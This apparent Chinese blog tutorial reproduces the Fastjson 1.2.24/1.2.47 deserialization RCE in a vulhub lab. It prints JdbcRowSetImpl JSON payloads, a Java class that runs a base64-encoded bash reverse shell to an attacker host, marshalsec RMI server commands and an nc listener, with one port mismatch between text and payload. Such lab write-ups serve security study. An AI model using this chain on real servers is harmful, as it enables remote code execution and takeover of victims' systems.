Fastjson反序列化漏洞

目录

Fastjson简介

Fastjson验证

 Fastjson复现

搭建web服务

 搭建rmi服务

 开始执行



Fastjson简介

fastjson是阿里的开源JSON解析库提供两个主要方法JSON.toJSONStringJSON.parseObkect/JSON.parse来分别实现序列化和反序列化操作,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本

Fastjson验证

启动vulhub靶场环境 docker-compose up -d

 打开后我们可以i通过burp进行抓包将请求方式改为POST,并且输入错误的json数据

fastjson1.2.47的版本会进行报错,其它版本的我没试过

 此时我们可以输入相应的poc和dnslog配合判断漏洞是否存在

验证的poc

//1.2.24以下版本
{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}
//1.2.47以下版本
{
   "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}

 dnslog网址后面需要加资源,不然不会去访问

 dnslog收到访问,这就说明这个漏洞是存在的

 Fastjson复现

需要在vps上搭建一个web服务以及rmi,然后把恶意类上传到web服务上面。

当我们输入poc发送时,受害者就通过rmi服务访问我们,rmi服务再来指定加载远程类,去加载我们搭建的web服务上的恶意类,从而执行恶意类的代码反弹shell。

搭建web服务

恶意类代码:

base64的是反弹shell的语句,此处反弹的是7777端口

import java.lang.Runtime;
import java.lang.Process;
 
public class rmi{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWlwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

将恶意代码写为java结尾的文件,然后通过javac进行编译成class文件 

 

通过python在vps开启一个临时的web服务python -m http.server 8080

python安装

将生成的恶意class文件放到web目录上,这里已经可以访问到了

 搭建rmi服务

我用的centos

将marshalsec下载到本地

git clone https://github.com/mbechler/marshalsec.git

安装maven

yum install maven

进入marshalsec,然后使用maven编译marshalsec成jar包

mvn clean package -DskipTests

经过一段漫长的编译后终于好了

 进入文件夹搭建rmi服务,后面跟web服务的地址以及rmi服务的端口,当受害者访问此rmi服务时就会自动重定向访问web服务加载上面的恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:8080/#rmi" 6666

 开始执行

此时web服务和rmi服务都以及搭建完成,开始漏洞利用

监听机开启nc监听,等待获取反弹的shell

burp处用构造好的poc去进行发送,让受害服务器去远程访问我们搭建的rmi服务

公网的rmi服务这边收到了受害服务器的请求,将请求转发让受害者服务器去访问公网的web服务

 当受害者服务器去访问我们公网的web服务后,加载了恶意的类rmi.class,然后执行了类其中的反弹shell的命令,nc这边成功获取shell

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值